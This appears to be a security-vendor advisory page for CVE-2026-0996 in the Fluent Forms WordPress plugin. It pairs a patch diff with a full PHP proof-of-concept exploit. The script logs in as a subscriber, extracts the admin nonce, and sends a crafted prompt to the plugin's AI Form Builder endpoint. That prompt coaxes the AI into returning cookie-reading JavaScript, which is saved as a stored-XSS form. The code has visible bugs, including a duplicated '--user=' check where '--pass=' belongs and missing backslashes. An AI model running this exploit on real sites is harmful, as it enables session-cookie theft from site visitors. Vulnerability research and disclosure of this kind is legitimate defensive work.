                 if (!apply_filters('fluentform/disable_input_mode', $isDisable)) {
-                    $inputMode = apply_filters('fluentform/number_input_mode', ArrayHelper::get($data, 'attributes.inputmode'), $data, $form);
-                    if (! $inputMode) {
-                        $inputMode = 'numeric';
+                    $mobileKeyboardType = ArrayHelper::get($data, 'settings.mobile_keyboard_type_number');
+
+                    // Default to 'numeric' for backward compatibility
+                    // If user explicitly sets 'decimal', use that instead
+                    $inputMode = !empty($mobileKeyboardType) ? $mobileKeyboardType : 'numeric';
+
+                    // Allow filter override
+                    $inputMode = apply_filters('fluentform/number_input_mode', $inputMode, $data, $form);
+
+                    if ($inputMode) {
+                        $data['attributes']['inputmode'] = $inputMode;
                     }
-                    $data['attributes']['inputmode'] = $inputMode;
                 }
             }

--- a/fluentform/app/Services/FormBuilder/Components/TextArea.php
+++ b/fluentform/app/Services/FormBuilder/Components/TextArea.php
@@ -55,6 +55,8 @@
             esc_attr($textareaValue)
         ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- $atts is escaped before being passed in.

+        $elMarkup = $this->buildInputGroup($elMarkup, $data);
+
         $html = $this->buildElementMarkup($elMarkup, $data, $form);

         $html = apply_filters_deprecated(
@@ -71,4 +73,35 @@

         $this->printContent('fluentform/rendering_field_html_' . $elementName, $html, $data, $form);
     }
+
+    /**
+     * Build input group with prefix/suffix
+     *
+     * @param string $textarea The textarea element HTML
+     * @param array  $data     The field data
+     *
+     * @return string
+     */
+    private function buildInputGroup($textarea, $data)
+    {
+        $prefix = ArrayHelper::get($data, 'settings.prefix_label');
+        $suffix = ArrayHelper::get($data, 'settings.suffix_label');
+
+        if ($prefix || $suffix) {
+            $wrapperClass = 'ff_input-group';
+
+            $wrapper = '<div class="' . $wrapperClass . '">';
+            if ($prefix) {
+                $wrapper .= '<div class="ff_input-group-prepend"><span class="ff_input-group-text">' . fluentform_sanitize_html($prefix) . '</span></div>';
+            }
+            $wrapper .= $textarea;
+            if ($suffix) {
+                $wrapper .= '<div class="ff_input-group-append"><span class="ff_input-group-text">' . fluentform_sanitize_html($suffix) . '</span></div>';
+            }
+            $wrapper .= '</div>';
+            return $wrapper;
+        }
+
+        return $textarea;
+    }
 }
--- a/fluentform/app/Services/FormBuilder/DefaultElements.php
+++ b/fluentform/app/Services/FormBuilder/DefaultElements.php
@@ -298,6 +298,7 @@
                 'temp_mask'               => '',
                 'prefix_label'            => '',
                 'suffix_label'            => '',
+                'mobile_keyboard_type'    => '',
                 'data-mask-reverse'       => 'no',
                 'data-clear-if-not-match' => 'no',
                 'validation_rules'        => [
@@ -335,6 +336,8 @@
                 'admin_field_label' => '',
                 'label_placement'   => '',
                 'help_message'      => '',
+                'prefix_label'      => '',
+                'suffix_label'      => '',
                 'validation_rules'  => [
                     'required' => [
                         'value'   => false,
@@ -765,6 +768,7 @@
                 'prefix_label'      => '',
                 'suffix_label'      => '',
                 'numeric_formatter' => '',
+                'mobile_keyboard_type_number' => '',
                 'validation_rules'  => [
                     'required' => [
                         'value'   => false,
@@ -1044,6 +1048,8 @@
                 'admin_field_label' => '',
                 'label_placement'   => '',
                 'help_message'      => '',
+                'prefix_label'      => '',
+                'suffix_label'      => '',
                 'validation_rules'  => [
                     'required' => [
                         'value'   => false,
@@ -1401,6 +1407,8 @@
                 'admin_field_label' => '',
                 'label_placement'   => '',
                 'help_message'      => '',
+                'prefix_label'      => '',
+                'suffix_label'      => '',
                 'validation_rules'  => [
                     'required' => [
                         'value'   => false,
--- a/fluentform/app/Services/FormBuilder/ElementCustomization.php
+++ b/fluentform/app/Services/FormBuilder/ElementCustomization.php
@@ -568,7 +568,7 @@
     'suffix_label' => [
         'template'  => 'inputText',
         'label'     => __('Suffix Label', 'fluentform'),
-        'help_text' => __('Provide Input Suffix Label. It will show in the input field as suffix label', 'fluentform'),
+        'help_text' => __('Provide Input Suffix Label or Icon or SVG. It will show in the input field as suffix label', 'fluentform'),
     ],
     'is_unique' => [
         'template'  => 'inputYesNoCheckBox',
@@ -596,6 +596,44 @@
         'help_text' => __('Select the format of numbers that are allowed in this field. You have the option to use a comma or a dot as the decimal separator.', 'fluentform'),
         'options'   => FluentFormAppHelpersHelper::getNumericFormatters(),
     ],
+    'mobile_keyboard_type' => [
+        'template'  => 'select',
+        'label'     => __('Mobile Keyboard Type', 'fluentform'),
+        'help_text' => __('Select the keyboard type to display on mobile devices. This only affects the keyboard shown, not validation or accepted characters.', 'fluentform'),
+        'options'   => [
+            [
+                'value' => '',
+                'label' => __('Standard Keyboard', 'fluentform'),
+            ],
+            [
+                'value' => 'numeric',
+                'label' => __('Numeric (0-9)', 'fluentform'),
+            ],
+            [
+                'value' => 'decimal',
+                'label' => __('Decimal (0-9 with .)', 'fluentform'),
+            ],
+            [
+                'value' => 'tel',
+                'label' => __('Telephone (0-9, *, #)', 'fluentform'),
+            ],
+        ],
+    ],
+    'mobile_keyboard_type_number' => [
+        'template'  => 'select',
+        'label'     => __('Mobile Keyboard Type', 'fluentform'),
+        'help_text' => __('Select the keyboard type to display on mobile devices.', 'fluentform'),
+        'options'   => [
+            [
+                'value' => '',
+                'label' => __('Numeric (0-9)', 'fluentform'),
+            ],
+            [
+                'value' => 'decimal',
+                'label' => __('Decimal (0-9 with .)', 'fluentform'),
+            ],
+        ],
+    ],
     'unique_validation_message' => [
         'template'   => 'inputText',
         'label'      => __('Validation Message for Duplicate', 'fluentform'),
--- a/fluentform/app/Services/FormBuilder/ElementSettingsPlacement.php
+++ b/fluentform/app/Services/FormBuilder/ElementSettingsPlacement.php
@@ -57,6 +57,7 @@
             'data-mask',
             'data-mask-reverse',
             'data-clear-if-not-match',
+            'mobile_keyboard_type',
             'validation_rules',
         ],
         'advanced' => [
@@ -90,6 +91,8 @@
             'container_class',
             'class',
             'help_message',
+            'prefix_label',
+            'suffix_label',
             'name',
             'maxlength',
             'conditional_logics',
@@ -133,6 +136,7 @@
             'placeholder',
             'validation_rules',
             'numeric_formatter',
+            'mobile_keyboard_type_number',
         ],
         'advanced' => [
             'value',
@@ -219,6 +223,8 @@
             'container_class',
             'class',
             'help_message',
+            'prefix_label',
+            'suffix_label',
             'name',
             'conditional_logics',
         ],
@@ -236,6 +242,8 @@
             'container_class',
             'class',
             'help_message',
+            'prefix_label',
+            'suffix_label',
             'name',
             'conditional_logics',
         ],
--- a/fluentform/app/Services/GlobalSettings/GlobalSettingsHelper.php
+++ b/fluentform/app/Services/GlobalSettings/GlobalSettingsHelper.php
@@ -374,4 +374,43 @@

         return true;
     }
+
+    public function storeDefaultStyleTemplate($attributes)
+    {
+        $data = Arr::get($attributes, 'settings');
+
+        if (is_string($data) && $data === 'clear-settings') {
+            delete_option('_fluentform_default_style_template');
+
+            return [
+                'message' => __('Default style template has been cleared.', 'fluentform'),
+                'status'  => true,
+            ];
+        }
+
+        if (is_string($data)) {
+            $data = json_decode($data, true);
+        }
+
+        $sanitizedData = [
+            'enabled'        => Arr::get($data, 'enabled', 'no'),
+            'custom_css'     => fluentformSanitizeCSS(Arr::get($data, 'custom_css', '')),
+            'styler_enabled' => Arr::get($data, 'styler_enabled', 'no'),
+            'styler_theme'   => sanitize_text_field(Arr::get($data, 'styler_theme', '')),
+            'styler_styles'  => [],
+            'source_form_id' => absint(Arr::get($data, 'source_form_id', 0)),
+        ];
+
+        $stylerStyles = Arr::get($data, 'styler_styles');
+        if ($stylerStyles && is_array($stylerStyles)) {
+            $sanitizedData['styler_styles'] = $stylerStyles;
+        }
+
+        update_option('_fluentform_default_style_template', $sanitizedData, 'no');
+
+        return [
+            'message' => __('Default style template has been saved successfully.', 'fluentform'),
+            'status'  => true,
+        ];
+    }
 }
--- a/fluentform/app/Services/GlobalSettings/GlobalSettingsService.php
+++ b/fluentform/app/Services/GlobalSettings/GlobalSettingsService.php
@@ -54,6 +54,7 @@
             'storeMailChimpSettings',
             'storeEmailSummarySettings',
             'storeAutosaveSettings',
+            'storeDefaultStyleTemplate',
         ];

         $method = '';
--- a/fluentform/app/Services/Settings/Customizer.php
+++ b/fluentform/app/Services/Settings/Customizer.php
@@ -16,8 +16,17 @@
         foreach ($metaKeys as $metaKey) {
             $value = Helper::getFormMeta($formId, $metaKey, '');

+            // If the meta doesn't exist or is empty, skip it
+            if ($value === '' || $value === null) {
+                continue;
+            }
+
             if ($metaKey === '_custom_form_css') {
                 $result['css'] = $value;
+            } elseif ($metaKey === '_ff_selected_style') {
+                $result['styler_theme'] = $value;
+            } elseif ($metaKey === '_ff_form_styles') {
+                $result['styler_styles'] = $value;
             } elseif ($metaKey === '_custom_form_js') {
                 $result['js'] = $value;
             } else {
--- a/fluentform/app/Services/Settings/SettingsService.php
+++ b/fluentform/app/Services/Settings/SettingsService.php
@@ -308,16 +308,24 @@
         $formId = intval($formId);
         $selectedPreset = Helper::getFormMeta($formId, '_ff_selected_style', 'ffs_default');
         $selectedPreset = $selectedPreset ?: 'ffs_default';
-        $presets = [
-            'ffs_default' => [
-                'label' => __('Default', 'fluentform'),
-                'style' => '[]',
-            ],
-            'ffs_inherit_theme' => [
-                'label' => __('Inherit Theme Style', 'fluentform'),
-                'style' => '{}',
-            ],
-        ];
+
+        // Use Pro FormStyler presets if available
+        if (class_exists('FluentFormProclassesFormStyler')) {
+            $formStyler = new FluentFormProclassesFormStyler();
+            $presets = $formStyler->getPresets();
+        } else {
+            $presets = [
+                'ffs_default' => [
+                    'label' => __('Default', 'fluentform'),
+                    'style' => '[]',
+                ],
+                'ffs_inherit_theme' => [
+                    'label' => __('Inherit Theme Style', 'fluentform'),
+                    'style' => '{}',
+                ],
+            ];
+        }
+
         return [
             'selected_preset'=> $selectedPreset,
             'presets' => $presets,
--- a/fluentform/app/Services/Transfer/TransferService.php
+++ b/fluentform/app/Services/Transfer/TransferService.php
@@ -45,9 +45,11 @@
     }

     /**
+     * @param File $file The uploaded JSON file
+     * @param bool $applyDefaultStyle Whether to apply default style settings to imported forms
      * @throws Exception
      */
-    public static function importForms($file)
+    public static function importForms($file, $applyDefaultStyle = false)
     {
         if ($file instanceof File) {
             $forms = json_decode($file->getContents(), true);
@@ -113,8 +115,13 @@
                             }
                         }
                     }
-
+
                     do_action('fluentform/form_imported', $formId);
+
+                    // Apply default style if requested
+                    if ($applyDefaultStyle) {
+                        do_action('fluentform/inserted_new_form', $formId, $form);
+                    }
                 }

                 return ([
--- a/fluentform/app/Views/admin/addons/pdf_promo.php
+++ b/fluentform/app/Views/admin/addons/pdf_promo.php
@@ -14,15 +14,6 @@
                 </a>
             </div>
         <?php else:
-            do_action_deprecated(
-                'fluentform_addons_page_render_fluentform_pdf_settings',
-                [
-
-                ],
-                FLUENTFORM_FRAMEWORK_UPGRADE,
-                'fluentform/addons_page_render_fluentform_pdf_settings',
-                'Use fluentform/addons_page_render_fluentform_pdf_settings instead of fluentform_addons_page_render_fluentform_pdf_settings.'
-            );
             do_action('fluentform/addons_page_render_fluentform_pdf_settings');
         endif; ?>

--- a/fluentform/app/Views/admin/addons/suggested_plugins.php
+++ b/fluentform/app/Views/admin/addons/suggested_plugins.php
@@ -0,0 +1,4 @@
+<?php
+// phpcs:ignore Internal.NoCodeFound -- View file contains HTML/Vue components, not PHP code
+?>
+<div id="ff_suggested_plugins_app"><fluent-suggested-plugins></fluent-suggested-plugins><global-search></global-search></div>
--- a/fluentform/app/Views/admin/globalSettings/menu.php
+++ b/fluentform/app/Views/admin/globalSettings/menu.php
@@ -86,6 +86,16 @@
                                     </a>
                                 </li>
                                 <li>
+                                <a class="ff-page-scroll"
+                                   data-section-id="#default-style-template"
+                                   data-hash="settings"
+                                   href="<?php echo esc_url(Helper::makeMenuUrl('fluent_forms_settings', [
+                                     'hash' => 'settings'
+                                   ])); ?>">
+                                  <?php esc_html_e('Default Style Template', 'fluentform'); ?>
+                                </a>
+                              </li>
+                                <li>
                                     <a class="ff-page-scroll"
                                        data-section-id="#miscellaneous"
                                        data-hash="settings"
--- a/fluentform/fluentform.php
+++ b/fluentform/fluentform.php
@@ -4,7 +4,7 @@
 /**
  * Plugin Name: Fluent Forms
  * Description: Contact Form By Fluent Forms is the advanced Contact form plugin with drag and drop, multi column supported form builder plugin
- * Version: 6.1.14
+ * Version: 6.1.15
  * Author: Contact Form - WPManageNinja LLC
  * Author URI: https://fluentforms.com
  * Plugin URI: https://wpmanageninja.com/wp-fluent-form/
@@ -17,7 +17,7 @@
 defined('FLUENTFORM') or define('FLUENTFORM', true);
 define('FLUENTFORM_DIR_PATH', plugin_dir_path(__FILE__));
 define('FLUENTFORM_FRAMEWORK_UPGRADE', '4.3.22');
-defined('FLUENTFORM_VERSION') or define('FLUENTFORM_VERSION', '6.1.14');
+defined('FLUENTFORM_VERSION') or define('FLUENTFORM_VERSION', '6.1.15');
 defined('FLUENTFORM_MINIMUM_PRO_VERSION') or define('FLUENTFORM_MINIMUM_PRO_VERSION', '6.0.0');

 if (!defined('FLUENTFORM_HAS_NIA')) {
--- a/fluentform/vendor/composer/autoload_classmap.php
+++ b/fluentform/vendor/composer/autoload_classmap.php
@@ -39,6 +39,7 @@
     'FluentForm\App\Http\Controllers\SubmissionHandlerController' => $baseDir . '/app/Http/Controllers/SubmissionHandlerController.php',
     'FluentForm\App\Http\Controllers\SubmissionLogController' => $baseDir . '/app/Http/Controllers/SubmissionLogController.php',
     'FluentForm\App\Http\Controllers\SubmissionNoteController' => $baseDir . '/app/Http/Controllers/SubmissionNoteController.php',
+    'FluentForm\App\Http\Controllers\SuggestedPluginsController' => $baseDir . '/app/Http/Controllers/SuggestedPluginsController.php',
     'FluentForm\App\Http\Policies\FormPolicy' => $baseDir . '/app/Http/Policies/FormPolicy.php',
     'FluentForm\App\Http\Policies\GlobalSettingsPolicy' => $baseDir . '/app/Http/Policies/GlobalSettingsPolicy.php',
     'FluentForm\App\Http\Policies\PublicPolicy' => $baseDir . '/app/Http/Policies/PublicPolicy.php',
@@ -77,6 +78,7 @@
     'FluentForm\App\Modules\Entries\Report' => $baseDir . '/app/Modules/Entries/Report.php',
     'FluentForm\App\Modules\Form\AkismetHandler' => $baseDir . '/app/Modules/Form/AkismetHandler.php',
     'FluentForm\App\Modules\Form\CleanTalkHandler' => $baseDir . '/app/Modules/Form/CleanTalkHandler.php',
+    'FluentForm\App\Modules\Form\DefaultStyleApplicator' => $baseDir . '/app/Modules/Form/DefaultStyleApplicator.php',
     'FluentForm\App\Modules\Form\Form' => $baseDir . '/app/Modules/Form/Form.php',
     'FluentForm\App\Modules\Form\FormDataParser' => $baseDir . '/app/Modules/Form/FormDataParser.php',
     'FluentForm\App\Modules\Form\FormFieldsParser' => $baseDir . '/app/Modules/Form/FormFieldsParser.php',
@@ -139,6 +141,7 @@
     'FluentForm\App\Modules\Registerer\MigrationNotice' => $baseDir . '/app/Modules/Registerer/MigrationNotice.php',
     'FluentForm\App\Modules\Registerer\ReviewQuery' => $baseDir . '/app/Modules/Registerer/ReviewQuery.php',
     'FluentForm\App\Modules\Registerer\TranslationString' => $baseDir . '/app/Modules/Registerer/TranslationString.php',
+    'FluentForm\App\Modules\Renderer\GlobalSettings\DefaultStyleTemplate' => $baseDir . '/app/Modules/Renderer/GlobalSettings/DefaultStyleTemplate.php',
     'FluentForm\App\Modules\Renderer\GlobalSettings\Settings' => $baseDir . '/app/Modules/Renderer/GlobalSettings/Settings.php',
     'FluentForm\App\Modules\Report\ReportHandler' => $baseDir . '/app/Modules/Report/ReportHandler.php',
     'FluentForm\App\Modules\SubmissionHandler\SubmissionHandler' => $baseDir . '/app/Modules/SubmissionHandler/SubmissionHandler.php',
@@ -343,150 +346,4 @@
     'FluentForm\Framework\Validator\ValidationRuleParser' => $vendorDir . '/wpfluent/framework/src/WPFluent/Validator/ValidationRuleParser.php',
     'FluentForm\Framework\Validator\Validator' => $vendorDir . '/wpfluent/framework/src/WPFluent/Validator/Validator.php',
     'FluentForm\Framework\View\View' => $vendorDir . '/wpfluent/framework/src/WPFluent/View/View.php',
-    'OpenSpout\Autoloader\Psr4Autoloader' => $vendorDir . '/openspout/openspout/src/Autoloader/Psr4Autoloader.php',
-    'OpenSpout\Common\Creator\HelperFactory' => $vendorDir . '/openspout/openspout/src/Common/Creator/HelperFactory.php',
-    'OpenSpout\Common\Entity\Cell' => $vendorDir . '/openspout/openspout/src/Common/Entity/Cell.php',
-    'OpenSpout\Common\Entity\Row' => $vendorDir . '/openspout/openspout/src/Common/Entity/Row.php',
-    'OpenSpout\Common\Entity\Style\Border' => $vendorDir . '/openspout/openspout/src/Common/Entity/Style/Border.php',
-    'OpenSpout\Common\Entity\Style\BorderPart' => $vendorDir . '/openspout/openspout/src/Common/Entity/Style/BorderPart.php',
-    'OpenSpout\Common\Entity\Style\CellAlignment' => $vendorDir . '/openspout/openspout/src/Common/Entity/Style/CellAlignment.php',
-    'OpenSpout\Common\Entity\Style\Color' => $vendorDir . '/openspout/openspout/src/Common/Entity/Style/Color.php',
-    'OpenSpout\Common\Entity\Style\Style' => $vendorDir . '/openspout/openspout/src/Common/Entity/Style/Style.php',
-    'OpenSpout\Common\Exception\EncodingConversionException' => $vendorDir . '/openspout/openspout/src/Common/Exception/EncodingConversionException.php',
-    'OpenSpout\Common\Exception\IOException' => $vendorDir . '/openspout/openspout/src/Common/Exception/IOException.php',
-    'OpenSpout\Common\Exception\InvalidArgumentException' => $vendorDir . '/openspout/openspout/src/Common/Exception/InvalidArgumentException.php',
-    'OpenSpout\Common\Exception\InvalidColorException' => $vendorDir . '/openspout/openspout/src/Common/Exception/InvalidColorException.php',
-    'OpenSpout\Common\Exception\SpoutException' => $vendorDir . '/openspout/openspout/src/Common/Exception/SpoutException.php',
-    'OpenSpout\Common\Exception\UnsupportedTypeException' => $vendorDir . '/openspout/openspout/src/Common/Exception/UnsupportedTypeException.php',
-    'OpenSpout\Common\Helper\CellTypeHelper' => $vendorDir . '/openspout/openspout/src/Common/Helper/CellTypeHelper.php',
-    'OpenSpout\Common\Helper\EncodingHelper' => $vendorDir . '/openspout/openspout/src/Common/Helper/EncodingHelper.php',
-    'OpenSpout\Common\Helper\Escaper\CSV' => $vendorDir . '/openspout/openspout/src/Common/Helper/Escaper/CSV.php',
-    'OpenSpout\Common\Helper\Escaper\EscaperInterface' => $vendorDir . '/openspout/openspout/src/Common/Helper/Escaper/EscaperInterface.php',
-    'OpenSpout\Common\Helper\Escaper\ODS' => $vendorDir . '/openspout/openspout/src/Common/Helper/Escaper/ODS.php',
-    'OpenSpout\Common\Helper\Escaper\XLSX' => $vendorDir . '/openspout/openspout/src/Common/Helper/Escaper/XLSX.php',
-    'OpenSpout\Common\Helper\FileSystemHelper' => $vendorDir . '/openspout/openspout/src/Common/Helper/FileSystemHelper.php',
-    'OpenSpout\Common\Helper\FileSystemHelperInterface' => $vendorDir . '/openspout/openspout/src/Common/Helper/FileSystemHelperInterface.php',
-    'OpenSpout\Common\Helper\GlobalFunctionsHelper' => $vendorDir . '/openspout/openspout/src/Common/Helper/GlobalFunctionsHelper.php',
-    'OpenSpout\Common\Helper\StringHelper' => $vendorDir . '/openspout/openspout/src/Common/Helper/StringHelper.php',
-    'OpenSpout\Common\Manager\OptionsManagerAbstract' => $vendorDir . '/openspout/openspout/src/Common/Manager/OptionsManagerAbstract.php',
-    'OpenSpout\Common\Manager\OptionsManagerInterface' => $vendorDir . '/openspout/openspout/src/Common/Manager/OptionsManagerInterface.php',
-    'OpenSpout\Common\Type' => $vendorDir . '/openspout/openspout/src/Common/Type.php',
-    'OpenSpout\Reader\CSV\Creator\InternalEntityFactory' => $vendorDir . '/openspout/openspout/src/Reader/CSV/Creator/InternalEntityFactory.php',
-    'OpenSpout\Reader\CSV\Manager\OptionsManager' => $vendorDir . '/openspout/openspout/src/Reader/CSV/Manager/OptionsManager.php',
-    'OpenSpout\Reader\CSV\Reader' => $vendorDir . '/openspout/openspout/src/Reader/CSV/Reader.php',
-    'OpenSpout\Reader\CSV\RowIterator' => $vendorDir . '/openspout/openspout/src/Reader/CSV/RowIterator.php',
-    'OpenSpout\Reader\CSV\Sheet' => $vendorDir . '/openspout/openspout/src/Reader/CSV/Sheet.php',
-    'OpenSpout\Reader\CSV\SheetIterator' => $vendorDir . '/openspout/openspout/src/Reader/CSV/SheetIterator.php',
-    'OpenSpout\Reader\Common\Creator\InternalEntityFactoryInterface' => $vendorDir . '/openspout/openspout/src/Reader/Common/Creator/InternalEntityFactoryInterface.php',
-    'OpenSpout\Reader\Common\Creator\ReaderEntityFactory' => $vendorDir . '/openspout/openspout/src/Reader/Common/Creator/ReaderEntityFactory.php',
-    'OpenSpout\Reader\Common\Creator\ReaderFactory' => $vendorDir . '/openspout/openspout/src/Reader/Common/Creator/ReaderFactory.php',
-    'OpenSpout\Reader\Common\Entity\Options' => $vendorDir . '/openspout/openspout/src/Reader/Common/Entity/Options.php',
-    'OpenSpout\Reader\Common\Manager\RowManager' => $vendorDir . '/openspout/openspout/src/Reader/Common/Manager/RowManager.php',
-    'OpenSpout\Reader\Common\XMLProcessor' => $vendorDir . '/openspout/openspout/src/Reader/Common/XMLProcessor.php',
-    'OpenSpout\Reader\Exception\InvalidValueException' => $vendorDir

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0996 - Fluent Forms <= 6.1.14 - Authenticated (Subscriber+) Stored Cross-Site Scripting via AI Form Builder Module

<?php
/**
 * Proof of Concept for CVE-2026-0996
 * Requires: WordPress with Fluent Forms <= 6.1.14, valid subscriber credentials
 * Usage: php poc.php --url=https://target.site --user=subscriber --pass=password
 */

$target_url = ''; // Configure this or use command line arguments
$username = '';
$password = '';

// Parse command line arguments
if ($argc > 1) {
    foreach ($argv as $arg) {
        if (strpos($arg, '--url=') === 0) {
            $target_url = substr($arg, 6);
        } elseif (strpos($arg, '--user=') === 0) {
            $username = substr($arg, 7);
        } elseif (strpos($arg, '--user=') === 0) {
            $password = substr($arg, 7);
        }
    }
}

if (empty($target_url) || empty($username) || empty($password)) {
    die("Usage: php poc.php --url=https://target.site --user=username --pass=passwordn");
}

// Step 1: Authenticate to WordPress and obtain cookies
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/x-www-form-urlencoded',
        'User-Agent: Atomic-Edge-PoC/1.0'
    ]
]);

$response = curl_exec($ch);
if (curl_errno($ch)) {
    die("Login failed: " . curl_error($ch) . "n");
}

// Step 2: Access a page that loads the Fluent Forms global JavaScript to extract the nonce
$admin_url = rtrim($target_url, '/') . '/wp-admin/admin.php?page=fluent_forms';
curl_setopt_array($ch, [
    CURLOPT_URL => $admin_url,
    CURLOPT_POST => false,
    CURLOPT_POSTFIELDS => null
]);

$response = curl_exec($ch);

// Extract the nonce from the fluent_forms_global_var JavaScript object
$nonce = '';
if (preg_match('/fluent_forms_admin_nonces*[:=]s*["']([a-f0-9]+)["']/', $response, $matches)) {
    $nonce = $matches[1];
}

if (empty($nonce)) {
    die("Failed to extract nonce. The user may not have access or the plugin is not vulnerable.n");
}

echo "[+] Extracted nonce: $noncen";

// Step 3: Exploit the AI Form Builder endpoint to create a malicious form
// The AI prompt is crafted to return JavaScript code without <script> tags
$exploit_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$malicious_prompt = "Create a contact form with a submit button that shows an alert with document.cookie when clicked. Return only the JavaScript code without any script tags, just the pure JavaScript statements.";

$post_data = [
    'action' => 'fluentform-ai-form-build',
    'nonce' => $nonce,
    'prompt' => $malicious_prompt,
    'form_type' => 'contact_form',
    'form_fields' => 'name,email,message',
    'form_style' => 'default'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $exploit_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/x-www-form-urlencoded',
        'User-Agent: Atomic-Edge-PoC/1.0',
        'X-Requested-With: XMLHttpRequest'
    ]
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Step 4: Parse response
if ($http_code == 200) {
    $json = json_decode($response, true);
    if ($json && isset($json['success']) && $json['success']) {
        $form_id = $json['data']['form_id'] ?? 'unknown';
        echo "[+] SUCCESS: Malicious form created with ID: $form_idn";
        echo "[+] The form is now stored and will execute JavaScript when viewed by any user.n";
        echo "[+] Form URL: " . rtrim($target_url, '/') . '/?ff_form=' . $form_id . "n";
    } else {
        echo "[-] AI form creation failed. Response: " . $response . "n";
    }
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
    echo "[-] Response: " . $response . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School